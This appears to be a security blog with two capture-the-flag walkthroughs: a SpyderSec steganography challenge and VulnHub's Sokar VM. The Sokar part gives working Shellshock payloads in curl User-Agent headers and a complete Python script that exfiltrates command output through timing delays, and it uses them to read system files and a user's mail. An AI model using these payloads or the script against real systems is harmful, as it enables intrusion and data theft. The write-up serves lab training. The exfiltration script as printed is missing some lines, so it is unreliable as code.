                 c J$$$$$$$$$$$$c$$$$$h !!!!!!!!!!!!!!!!!>'!!`<!!!!!!!!!!!
                <$c$$$$$$$$",c,"?$$$$$$  <!!!!<!!!!!!!!!!! <> !!!!!!!!!!!!
                <$$P..`?$$C $"?h."$$$$$c .``<!.`'!!!!!!!!! '  ```<!!!!!!'
                <$$ `$$."F? `   " `$$$$$c,"-,.`   `'!!!!!>        `''``
                `Li   "" ?c cc     $$?$$$$cc,."-..  ''!!!
                 hJ .    <$h`?$cc$F),J$$$$$$$$$c`4Mn. '!'
                 .`? ?c,,.$$$,`?",J$$$$$$$$$$$$$$c MMb.
              ,cc$$$cr=`,J$$$$P J$$$$$$$$$$$$$$$$$>`MMMr
             <$$P"',ccd$$$$""" <$$$$$""'."?$$$$$$$$.MMMMx
        ..n> $P",J$$$$$$$F,cdhc."""". z$$$$$$$$$$$'JMMMMM
      .nMMMb ` <$$$$$$$$$$$$$$$F cc$',$$$$$$$$$$" ,MMMMMM.
    . ,MMMMMn. $$$$$$$$$$$$$$$$' $P',$$"C$$$P"" ,nMMMMMMM
    ,nMMMMMMMM.`$$$$$$$$$$$$$P' J",c$""=""  .,xnMMMMMMMMP
   uMP4MMMMMMMb,`?$$$$$$$$$P"  `,c??'.,xnMMMMMMMMMMMMMMM'
        "- 4MMMMM",=

 Grumpy                     .,,,;;;;;,,.
                ;!!'. ==-.`'<!!!> `!!!!!!!!!!!!!!,
                !',cF.`?c,$c,`<!!!;`<!!!!!!!!!!!!!!, `;;.
               ! z$$P    `$$$c,`!!!! '!!!!!!!!!!!!!!!,`;!!;.
              '..`$$  c$$c`?$$$.`<!!! `!!!!!!!!!!!!!!!!<!!!!>
               "?$$F <$$$$$J$$$$c <!!! '!!!!!!!!!!!!!!!!!!!!!!;
                 ?"F `""$$$$$$$$$.'!!!!;.)!!!!!!!!!!!!!!!!!!!!!>
              J$.`F,L $c $$$$$$$$L `!!!!!!!!!!!!!!!!!!! !!!!!!!!>
              $',-`?F`$$,`P"L$$$$$. <!!!!!!!!!!!!!!!!!! `!!!!!!!!>
              " " `$$ ?"    ,c$$$$$  `!!!!!!!'!!!!!!!!! `!!!!!!!!!>
      ,cccccc,.  == $h,. ,z$$$$$$$$h. ''!!!!!;;.``<!!!!  !!!!!!!!!>
    c$$$$$$$$$$$h===?$$$$$$$$$$$$$$$$c`-.``<!!!!!; `!!! ,!!!!!!!!!!
   $$$$$$$$$$$P",r",zcc  .,.`"?$$$$$$$$c,"-=. ``!!!; !' !!!!!!!!!!!>
  <$$$$$$$$$$$$$P,c$$$$$ $$$$$c,"?$$$$$$$$cc`-n. `'!;  ;!';!!!!!!!!>
   $$$$$$$$$$$$$$$$$$$$F $$$P""'  "$$$$$$$$$$ `MMb. `>  ,<!!!!!!!!!!
   `$$$$$$$$$$$$$$$$$$" zP",c$$$$c,`$$$$$$$$$> MMMMF.  !!!!!!!!!!!!!
     ?$$$$$$$$$$$$$P"  =",c$$$$$$$$c$$$$$$$$$ ,MMMMn   !!!!!!!!!!!!>
       ""???????""  .,,cd$$P" ,cd$$$$$$$$$$P'.MMMMMMb .!!!!!!!!!!!!>;
              .,,x "?$$$P""  """???$$$$$P"" ,MMMMMMMM `!!!!!!!!!!!!>!>
             uMMMMMx.   .,nmMMMMbmn,,.,,,,nMMMMMMMMMM  <!!!!!!!!!!!,!!>
             MMMMMMMMMMMMMMP .="
             4MMMMMMMMMMMP  `

 Sleepy                           ,;;;;;;;;,.
                        .,;!!!!;;.  `'!!!!!!!!!!>,
                     ,;!'````'!!!!!!;> `!!!!!!!!!!!!;,
                    '` ,ccccc=  ``<!!!!; ''!!!!!!!!!!!!,
                  '   ""$$$$P`--   ``!!!!! `!!!!!!!!!!!!!>
                  ,cr""$$$$" cr ?h`hr <!!!!;'!!!!!!!!!!!!!!>
                 ,F ,c,.$$hc$$$h "$$$h  <!!!; <!!!!!!!!!!!!!>
                ,P,c???$$$$PPPP?cc"$$$$c`<!!!! '!!!!!!!!!!!!!!
                J$F ,c $$$F c$c "$$$$$$$, <!!!>;!!!!!!!!!!!!!!>
               c$" J$$ $$$ c$$$$  $$$$$$$c`!!!!!!!!!!!!!!!!!!!!,
               $F J$$$ $$F $$$$$h.`$$$$$$$.`!!(`'!!!!!''!!!!!!!!
               $' ?"  <$$F     ""$ $$$$$$$h <!!!  !!!!>; '!!!!!!
               L ..   <$$F<$$L     $$$$$$$F `!!!!; `!!!!!; `!!!!!
               ? ??? =?$$$ ??$hc,. cd$$$$$F= `!!!!>. `<!!!; `<!!'
              ,cc$$$c,  ?$,=,.    J$$$$$$$F 4.`!!!!!>;  '!!!  !!
            .J$$$$$$$$$$cc=c,"?$$$$PP$$$$$$c`b. <!!>  -;. <!  ;!
            J$$$$$$$$$P",ccc,"c,,,,cd$$$$$$$c,`b `!!!>  `'!!  ;'
            ?$$$$$$$$$$$$$$$$, $$$$$$$$$$$$$$$.`b,`'!!!>  <!  '
            `$$$$$$$$$$$$$$$" ,$$$$$$$$$$$$$$$$h `b.`'!!!,    >
           Jc "??$$$$$$$$P"  c$L "?$$$$$$$$$$$$$h.`Mx.`<!!;  ;>
        . c$$$c  """""""  ,c$$$P   $$$$$$$$$$$$$$h 4MMr <!!! <!>
       M> $$$$$c "ccccd$$$$$$$" <$c$$$$$$$$$$$$$$$h MMMr `!! `!>
     nMM> $$$$$$hc`??$$$$$??" ,c$$$$F?$$$$$$$$$$$$F MMMP< !! ;!!
    nMMMMr ?$$$$$$$=. `""",cc$$$$$P".$$$$$$$$$$$$"  MMMr'   ;<!!!
   JMPJMMMx  ??$$$$F  ?$$$$$$$$$??.   ????$$$$??  ,MMMMM  '!!!!!!>
   P'uMMMMMMx,,.        ??????" .,MMb,.         .uMMMMMM  <!!!!!!!
                `MMMMMMMMMMMMMMM ,M"
                  "MMMMMMMMMMMM dF
                   `4MMMMMMMMMP P

 Sneezy          ,;!!!!!;,
              !!!' .zchccc,.``
             !!! z$$$$$$$$$$$h
            !!! <$$$$$$$$$$$$F cc
           !!!'<$$$$$$$$C"??$$ ? ,' cc$cc
        ;>;!!! J$$$$$$$$$$hc,"h ,',$$$$$$$.
      ,<!>'!!! ?$$$$P"" ""??$h"hF J$$$$$$$L
     ;!!!>'!!! .$$$$ <$P  z,,,c$F<$$$$$$$$F .
     !!!!>'!!!> ?$$$c<$ ,""".?"$F`..z$$$$$' ?c,
    !!!!!! !!!!.`$$$$P"".??",J F.J$$$$$$P' z.?$h.
   ;!!!!!!> !!!! ?$$$c zJhcdP"z `?$$$$P" .z$h $$$c .    .,nmnmnx,.
   ;!!!!!!> !!!!. "?$$$$$,,,,c$ . """ .,JP""? <$$$.`MMMMMMMMMMMMMC(
   !!!!!!!!!!!!!! `. ?$$$$$$$$$ ?$$$$$$$',db hJ$$$$ MMMMMMMMMMMMMMMbx
   <!!!!!!!!!!!!!, M' ?$$$$$$$$,`$$$$$$F,MMP $$$$$F JMMMMMMMMMMMMMMMMM.
   `!!!!!!!!!!!!!! Mb  $$$$$$$$h ?$$$$$ "'.: ?$$$P  MMMMMMMMMMMMMMMMMMM
    !!!!!!!!!,'!!! 4ML $$$$$$$$$.`$$$$$ ::::. " " .JMMMMMMMMMMMMMMMMMM
    `!!!!!!!!! !!! JMM ?$$$$$$$$h $$$$$.:::'`     MMMMMMMMMMMMMMMMMMM
     <!!!!!!!> !!! MMM <$$$$$$$$$c`$$$$h  ::.:: h )MMMMMMMMMMMMMMMMMM
      !!!!!!!> !!> MMM <$$$$$$$$$$.<$$$$$c,```,z$ JMMMMMMMMMMMMMMMMMP
       `!!!!!  !! ;MMM.`"$$$$$$$$$$J$$F?$$$$$??" ,MMMMMMMMMMMMMMMMM"
        `!!!!  !! MMMML  "$$$$$$$$$$$$= `"""" .,nMMMMMMMMMMMMMMPMM"
       ! '!!!, ` JMMMMMmn."?$$$$$$$P"",JMMMMMMMMMMMMMMMMMMMMMM' P"
      ;!> <!!!> ;P)MMMMMMMn,. """",xnMMMMMMMMMMMMMMMMMMMMMMMM' "
   !!!!!!!!!!!!!'     "F. 4MMMMMMMMMMMMMMMP""""
  .!!!!!!!!!!!!'            ""4MMMMMPPPPPP""
  !!!!!!!!!!!!                   """

   <!!!!!!!!!!!!!>.               .,,,;;;;;;,,,.       .,;;;;;;;;;.
   !!!!!!!!!!!!!!!!!;        .;;!!!!!!!!!!!!!!!!'' ,;!!!!!!!!!''!!!!!.
   !!!!!!!!!!!!!!!!!' .  ,;!!!!!!!!!!!!!!!!!!''.;!!!!!'``  .;;;;;.``!!>
   !!!!!!!!!!!!!!!' ;';!!!!!!!!!!!!!!!!!!!'',;!!!!'` ,c$$$c <!!!!!!> !!!
   !!!!!!!!!!!!!(;<!><!!!!!!!!!!!!!!!!!!! ;!!!!!' zc$$$$$$$h '!!!!!!>`!!
   <!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ;!!!!''.z$$$$$$$$$$$$ `!!!!!>,!!
   `<!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';<!!!' ,J$$$$$$P"""""$$h <!!!! <'
    `!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!!!!  cd$$$$$$$$ z$$cc?$$, !!! ;`
     `!!!!!<!!!!!!!!!!!!!!!!!!!!!!!,!!!!  `""$$$$$$$$J$???$$$$h !!!'
      `!!! <!!!!'!!!!!!!!!!!!!!!!!!!!!',c$$cc$$$$$$$$$   ,$$$$$ !' .==c
       `!> !!!! !!!!!!!!!!!!!!!!!!!!!' $$FF"??$$$$$$$P   J$$$$$    ,c$$
        `  !!' <!!!!!!!!!!!!!!!!!!!!  <$$    J$$$$$$$ J$.<$$$$P ,",$$$"
           !!  `'!!!!!!!!!!!!!!!!!' zcd$F zc,`?$$$$$'J$$h $$$$F  <$$$F
            .,cc,,. ``<!!!!!!!!!! .J$$$$ <$$$h $$$$$ $$$F<$$$$   $$$"
          .J$$$$$$$$cc, `'!!!!'  z$$$$$$ <$$$$,?$$$$ "`?F<$$$F -c$$"
         J$""   """?$$$$c, `` ,c$$$$$$$$L`$???><$$$$.    ")$$.. "?.
         $$z$$$c,.   `?$$$h. J$$$$$$$$$$$,     J$$$$$    ?$$$$$$h.
         $$$$$$$$$$$c,  `"$$c $$$$$$Cc==='    z$$P"",ccdcc ??""$$$,
         `$$$$$$$$$$$$$c  "$$hJ$$$$$$Ccccccccc$$FF<$$$$$$$ . .,$$$>
          `$$$$$$$$$$$$$ ?."$$$$$$$$$$$$$$$$$$$ zJ$$$$$P" ,",$$$$$'
            "$$$$$$$$$$$ `$c$$$$$$$$$$$PPPP??".. """""_,=".J$$$$P'
              "$$$$$$$$$$. ?"J$$$$$$"     =cc$$$$ccc$??' J$$$P"
                "?$$$$$$$$hJ $$$$$$Licc,   `"""???"""   zP""'
                   `"?$$$$$$ $$$$$$$$$$$h.  ..         J"
                 ;!>; `$$$$$ `$$$$$$$$$F?$c  <!; ;;;   F
                ;!!!' ,  "?" ,;;.`"?????- `"=.`'''''`,"
                !!!! <!!!- ;!!!!!!;  .,.,,,. `"====="
                !!!! `'` > ,;. ``<!!, "$$$$$F ;;
                `!!!;,,;; ;!!!!>;.`!!>,"?$$" ;!!
                 ``'''``  !'''!!!!><!!!;, "  <!!  !>
                         '`    `'!!!!!!!!!>;;;,,;!!!



SpyderSec: Challenge

I can’t believe it’s been nine months since my last post. I must have been busy. Or lazy.

Just as well I recently completed SpyderSec‘s nice little X-Files themed encryption challenge to get me out of my blog funk.

This was a really fun one, and totally worth a look if you’re interested in video steganography. This is a walkthrough to how I completed the challenge, so if you fancy trying yourself look away now.

Flag #1

The challenge spec already makes clear that this is a web application challenge and a full nmap TCP scan confirmed that only port 80 was open. The web page served doesn’t reveal too much:

Website front page

Just in case an administrator left some content or administration pages open, I scanned the host with dirb.

root@worry64:~/work/spyder# dirb

DIRB v2.22
By The Dark Raver

START_TIME: Tue Oct6 19:57:56 2015
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
+ (CODE:200|SIZE:1150)
+ (CODE:200|SIZE:8883)

---- Entering directory: ----

END_TIME: Tue Oct6 19:58:48 2015

Search turns up a /v/ directory, but this is Forbidden.

Looking at the html source of the page reveals some packed JavaScript:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('7:0:1:2:8:6:3:5:4:0:a:1:2:d:c:b:f:3:9:e',16,16,'6c|65|72|27|75|6d|28|61|74|29|64|62|66|2e|3b|69'.split('|'),0,{}))

You can dump this packed program into one of a few public JavaScript unpackers, but I wanted to see if it would evaluate fine in nodejs, which it did:

root@worry64:~# js
> function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('7:0:1:2:8:6:3:5:4:0:a:1:2:d:c:b:f:3:9:e',16,16,'6c|65|72|27|75|6d|28|61|74|29|64|62|66|2e|3b|69'.split('|'),0,{})

The hex values appeared to be ASCII characters, so I tried converting to a string and got some interesting output:

root@worry64:~# echo 61:6c:65:72:74:28:27:6d:75:6c:64:65:72:2e:66:62:69:27:29:3b | sed 's/://g' | xxd -r -ps -

I wasn’t sure what to make of “muder.fbi” at this point. Plugging it into the dirb search didn’t turn up any hidden content.

Plugging away at the page for a while, I turned to look at the logs of the requests I had made in BurpSuite. I noticed that the page was including a cookie and that it mentioned a URI:

HTTP/1.1 200 OK
Date: Tue, 06 Oct 2015 08:52:02 GMT
Server: Apache
Set-Cookie: URI=%2Fv%2F81JHPbvyEQ8729161jd6aKQ0N4%2F; expires=Wed, 07-Oct-2015 08:52:02 GMT; path=/; httponly
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8883

I already knew of the /v/ directory, so it stood that there was a good chance I would find something interesting if I accessed this location directly. However, I found disappointment in the fact that the URI was also a forbidden location:

HTTP/1.1 403 Forbidden
Date: Tue, 06 Oct 2015 08:56:22 GMT
Server: Apache
Content-Length: 293
Connection: close
Content-Type: text/html; charset=iso-8859-1

<title>403 Forbidden</title>
<p>You don't have permission to access /v/81JHPbvyEQ8729161jd6aKQ0N4/
on this server.</p>
<address>Apache Server at Port 80</address>

The challenge was beginning to feel very much like a hidden data exercise. I tried plugging various strings I had captured into the web server to see if I could find something. I can’t remember how long it took, but eventually putting the URI together with ‘mulder.fbi’ caused the web server to offer me a 13MB file:

root@worry64:/tmp# wget
--2015-11-09 23:16:52--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 13960421 (13M) [text/plain]
Saving to: ‘mulder.fbi’

mulder.fbi                                           100%[=======================================================================================================================>]  13.31M  12.5MB/s   in 1.1s

2015-11-09 23:16:53 (12.5 MB/s) - ‘mulder.fbi’ saved [13960421/13960421]

A cursory examination of the file showed it as a video file.

root@worry64:~/work/spyder# file mulder.fbi
mulder.fbi: ISO Media, MP4 v2 [ISO 14496-14]

Flag #2: Kill Switch

The video turned out to be a song with lyrics slides. (The song incidentally is a reference to an episode of The X-Files – I had to look that up.)

At this point I figured that there was something hidden in the video file. Hidden data – particularly where video is concerned – is really not my strong suit. I searched the file for strings (which didn’t help) and for container metadata (didn’t find any). On a hunch I decided to run the file through a video processor. I asked the program to make a direct stream copy of the audio and video, meaning that the whole content would be copied without recompression into a new file. If there was any hidden data in the file, it might reveal a difference in file size.

root@worry64:~/work/spyder# ls -la mulder.fbi
-rw-r--r-- 1 root root 13960421 Oct  6 20:02 mulder.fbi
me@me:~/Desktop$ ffmpeg -i mulder.fbi -codec copy out.mp4
ffmpeg version 2.5.8-0ubuntu0.15.04.1 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.9.2 (Ubuntu 4.9.2-10ubuntu13)
  configuration: --prefix=/usr --extra-version=0ubuntu0.15.04.1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --shlibdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --enable-gpl --enable-shared --disable-stripping --enable-avresample --enable-avisynth --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-libschroedinger --enable-libshine --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libwavpack --enable-libwebp --enable-libxvid --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzvbi --enable-libzmq --enable-frei0r --enable-libvpx --enable-libx264 --enable-libsoxr --enable-gnutls --enable-openal --enable-libopencv --enable-librtmp --enable-libx265
  libavutil      54. 15.100 / 54. 15.100
  libavcodec     56. 13.100 / 56. 13.100
  libavformat    56. 15.102 / 56. 15.102
  libavdevice    56.  3.100 / 56.  3.100
  libavfilter     5.  2.103 /  5.  2.103
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  1.100 /  1.  1.100
  libpostproc    53.  3.100 / 53.  3.100
[h264 @ 0x1c6da40] AVC: nal size -1892486350
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 255724199
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1346868359
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -1492585362
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -550881863
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -922972230
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1259521664
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 2031147485
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -477496776
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -235462333
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 275654111
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size -1078662316
[h264 @ 0x1c6da40] no frame!
[h264 @ 0x1c6da40] AVC: nal size 1744092848
[h264 @ 0x1c6da40] no frame!
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'mulder.fbi':
    major_brand     : mp42
    minor_version   : 0
    compatible_brands: isommp42
    creation_time   : 2013-12-08 02:32:33
  Duration: 00:02:47.53, start: 0.000000, bitrate: 666 kb/s
    Stream #0:0(und): Video: h264 (Constrained Baseline) (avc1 / 0x31637661), yuv420p, 640x360, 223 kb/s, 25 fps, 25 tbr, 50 tbn, 50 tbc (default)
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 95 kb/s (default)
      creation_time   : 2013-12-08 02:32:33
      handler_name    : IsoMedia File Produced by Google, 5-11-2011
Output #0, mp4, to 'out.mp4':
    major_brand     : mp42
    minor_version   : 0
    compatible_brands: isommp42
    encoder         : Lavf56.15.102
    Stream #0:0(und)ice: Video: h264 ([33][0][0][0] / 0x0021), yuv420p, 640x360, q=2-31, 223 kb/s, 25 fps, 12800 tbn, 50 tbc (default)
      handler_name    : VideoHandler
    Stream #0:1(und): Audio: aac ([64][0][0][0] / 0x0040), 44100 Hz, stereo, 95 kb/s (default)
      creation_time   : 2013-12-08 02:32:33
      handler_name    : IsoMedia File Produced by Google, 5-11-2011
Stream mapping:
  Stream #0:0 -> #0:0 (copy)
  Stream #0:1 -> #0:1 (copy)
Press [q] to stop, [?] for help
frame= 4188 fps=0.0 q=-1.0 Lsize=    6648kB time=00:02:47.53 bitrate= 325.1kbits/s
video:4578kB audio:1963kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.621213%

me@me:~/Desktop$ ls -l out.mp4
-rw-rw-r-- 1 me me 6807163 Oct  6 20:57 out.mp4

Several megabytes of data were missing from the stream copy, but the file played exactly the same; a strong indication that there was data to be found in the file. Since the data was not part of the video and audio streams, I felt I had a chance with this. (If the data had been hidden as data in the streams themselves then my chances of success would have been much lower.)

Still, I don’t really know much about video container formats, so I took the least resistance path and did some web searches first of all. Actually, doing a search for “hide data in mp4 video” turns up some pretty interesting stuff immediately. (That link is seriously worth a read if you’re interested.)

Working on the hunch that the video file contains a TrueCrypt encrypted volume, the challenge essentially becomes “find the correct password”. And the thing about TrueCrypt volumes is that they’re practically indiscernible from random data. All you can do is keep trying passwords until one works and even if you never find one that works, you will never know whether the data is actually random or you’ve just not found the correct password.

Anyway, you probably know where this is going. Eventually (too long) I found the password. I can’t remember exactly when I turned my attention to the website images (I had already gone over the BurpSuite logs several times to no avail, and was considering writing or searching for a tool to automate TrueCrypt password attempts) when I dumped the webpage content and started looking for strings.

The password was hidden in the metadata in the following file:

SpyderSec Challenge.png

root@worry64:~/work/spydersec/SpyderSec | Challenge_files# exiftool Challenge.png
ExifTool Version Number         : 9.74
File Name                       : Challenge.png
Directory                       : .
File Size                       : 83 kB
File Modification Date/Time     : 2015:10:06 21:17:08+01:00
File Access Date/Time           : 2015:11:09 23:44:54+00:00
File Inode Change Date/Time     : 2015:10:06 21:17:08+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
MIME Type                       : image/png
Image Width                     : 540
Image Height                    : 540
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Background Color                : 255 255 255
Pixels Per Unit X               : 2835
Pixels Per Unit Y               : 2835
Pixel Units                     : meters
Comment                         : 35:31:3a:35:33:3a:34:36:3a:35:37:3a:36:34:3a:35:38:3a:33:35:3a:37:31:3a:36:34:3a:34:35:3a:36:37:3a:36:61:3a:34:65:3a:37:61:3a:34:39:3a:33:35:3a:36:33:3a:33:30:3a:37:38:3a:34:32:3a:34:66:3a:33:32:3a:36:37:3a:33:30:3a:34:61:3a:35:31:3a:33:64:3a:33:64
Image Size                      : 540x540
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo 35:31:3a:35:33:3a:34:36:3a:35:37:3a:36:34:3a:35:38:3a:33:35:3a:37:31:3a:36:34:3a:34:35:3a:36:37:3a:36:61:3a:34:65:3a:37:61:3a:34:39:3a:33:35:3a:36:33:3a:33:30:3a:37:38:3a:34:32:3a:34:66:3a:33:32:3a:36:37:3a:33:30:3a:34:61:3a:35:31:3a:33:64:3a:33:64 | sed 's/://g' | xxd -r -ps -
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo 51:53:46:57:64:58:35:71:64:45:67:6a:4e:7a:49:35:63:30:78:42:4f:32:67:30:4a:51:3d:3d | sed 's/://g' | xxd -r -ps -
root@worry64:~/work/spydersec/SpyderSec | Challenge_files# echo QSFWdX5qdEgjNzI5c0xBO2g0JQ== | base64 -d
root@worry64:~/work/spydersec/SpyderSec | Challenge_files#

And there we have it. The TrueCrypt password is A!Vu~jtH#729sLA;h4%. After that, getting to the final flag is a breeze…

SpyderSec TyueCrypt password

SpyderSec TrueCrypt volume mounted successfully

SpyderSec challenge completed

Sokar: VulnHub anniversary competition

VulnHub just turned two, and to celebrate, they held a three week competition. The subject is Rasta Mouse‘s challenging VM, Sokar, which features multiple interesting and very recent vulnerabilities.

The challenge took me quite a few hours; much longer than the three hours that someone reportedly finished under. However, I did some interesting things, so please read on if you are interested Python scripting, time-delay based exfiltration, file injection through unusual channels, memory forensics, password cracking, and how a client application (Git) can badly bite you in the butt.

Initial scanning

It’s usually pretty safe to get heavy handed with a new VM; no administrators are watching and it’s usually the quickest way to find the attack vectors…

root@worry64:~/sokar# nmap -sn

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-17 20:02 GMT
Nmap scan report for
Host is up (0.00025s latency).
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Nmap scan report for worry64 (
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.63 seconds
root@worry64:~/sokar# nmap -T4 -p-

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-17 20:07 GMT
Nmap scan report for
Host is up (0.00072s latency).
Not shown: 65534 filtered ports
591/tcp open  http-alt
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 140.50 seconds

OK, so we’ve got one lonely port, and this is what it’s showing…Selection_010

There’s nothing particularly exploitable looking about the page. It takes no user input, and it appears to be presenting pretty static information. When refreshing, the contents (a list of connections output from netstat) do not update automatically; instead they are updated periodically, probably by some cron job on the server.

The page contains an iframe which executes /cgi-bin/cat on the server but, as the name suggests, this is probably just outputting a specific file on the server that we have no control over.

My first thought at this stage was, if this is exploitable, and it takes no user input, and it’s a CGI, then it’s probably a Shellshock vulnerability (Bashbug’s a far better name though).

I sent a test the server’s way to see if I could get execution.

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo "Alright!"'
<title>500 Internal Server Error</title>

Well, that’s a bit of a bummer. Am I getting commands to be executed or not? I need a time based test:

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; /bin/sleep 5'
<title>500 Internal Server Error</title>

A delay;  great! I’m definitely executing commands on the server (note that the absolute path needs to be used), but I can’t figure out how to get data returned.

This is where I might have previously given up, but after writing an ICMP exfiltration script for Persistence last year, I decided to write a program to exfiltrate data from the server using time delays.

The conspicuous machine gun timing script

Later on I found out that I didn’t really need to do all of this, so this might make me look a bit stupid, but I definitely think I get some points for style here.

Here’s the script – exfil.py – which will exfiltrate the response of an arbitrary command on Sokar using repeated queries and delays to slowly drip out the data at about 10 bits per second. =) (Note that you may need to tweak the parameter exfil_delay to suit your network latency and VM performance. Higher is more accurate and reliable, but obviously slower.)


import time
import os
import sys

url = ''
exfil_command = sys.argv[1]
exfil_delay = 0.1
exfil_string = ''
exfil_char = ''
exfil_char_count = 0

def time_command(check):
    global exfil_char_count, exfil_delay, exfil_command
    start_time = time.time()
    py_command = '/usr/bin/python -c \"import time;import os;c = %d;s = %f;out = os.popen('%s').read();%s\"' % (exfil_char_count, exfil_delay, exfil_command, check)
    curl_command = 'curl -H "User-Agent: () { :; }; %s" %s > /dev/null 2> /dev/null' % (py_command, url)
    run_time = time.time() - start_time
    return run_time

def run_command(check):
    return (time_command(check) > exfil_delay)

while True:
    # Check if at end of string or not.
    check = 's = s if c >= len(out) else 0.0;time.sleep(s)'
    if run_command(check):
        # End of string?
        fin = raw_input('Does output look complete?: ')
        if fin == 'y':

    lower = 0
    upper = 128
    while True:
        middle = lower + (upper-lower)/2
        check = 'cord = ord(out[c]);s = s if cord > %d else 0.0;time.sleep(s)' % middle
        result = run_command(check)
        if middle == lower:
            if result:
                exfil_string += str(unichr(middle+1))
                exfil_string += str(unichr(middle))
        elif result:
            lower = middle + 1
            upper = middle

    # End of character placement loop
    exfil_char_count += 1

And here’s the output:

root@worry64:~/sokar# time ./exfil.py "ls -la"
total 12
drxxr-xr-x. 2 ropt root 4096 Jan 45 11:34 .
drwxr-xr-x. 5 root root 4096 Nqv 15 12:09 ..
-rwxr-xr-x  1 root root  169 Jan 25 11:33 cat

Does output look complete?: y

real	1m36.470s
user	0m3.464s
sys	0m3.520s

Not very fast and also contains some errors. 2 minutes to get a short directory listing. Pretty fun though. Of course, a network with an IPS or an observant administrator would probably shutdown the server before I could get any further.

So I went on my merry way, getting directory listings at a very slow rate as the apache web server process, until I found my next clue.

(It’s worth also stating here that this exfiltration script will only for for information that remains static. Getting a directory listing of a directory that was rapidly changing, or a file that was changing, would require script modifications.)

The scarequote to end all wars

There are two users on the server: bynarr and apophis. The former’s home directory is open to other users…

root@worry64:~/sokar# ./exfil.py "ls -l /home/bynarr/"
total 16
-rwxr-xr-x 1 root root   368 Jan 27 19:14 lime
-rw------- 1 root root 13IA8 Nov 13 11:45 lime.ko

lime is script that I have execute access to. I decided to run this to see what it is, and I was surprised to find that without my exfiltration script it will output data over Bashbug:

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; /home/bynarr/lime'
Linux Memory Extractorator

LKM, add or remove?
> Invalid input, burn in the fires of Netu!

I exfiltrated the contents of the script to find out what was special about it. Turns out that it echoes a single double-quote at the start.

root@worry64:~/sokar# ./exfil.py "cat /home/bynarr/lime"
echo """
Linux Memory Extractorator

Is this a quirk of Bashbug that everyone knows except me? Perhaps; this is the first time I’ve exploited it. Anyway, it means I can throw away the script and just use curl again which is far quicker; all I need to do is output a double-quote before all commands I need output from.

The unbearable lightness of Bynarr

I proceeded with further information gathering at faster speed, until I found that bynarr‘s email is readable and provides some clues…

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; export PATH=/bin:/sbin:/usr/bin; cat /var/spool/mail/bynarr'
Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!


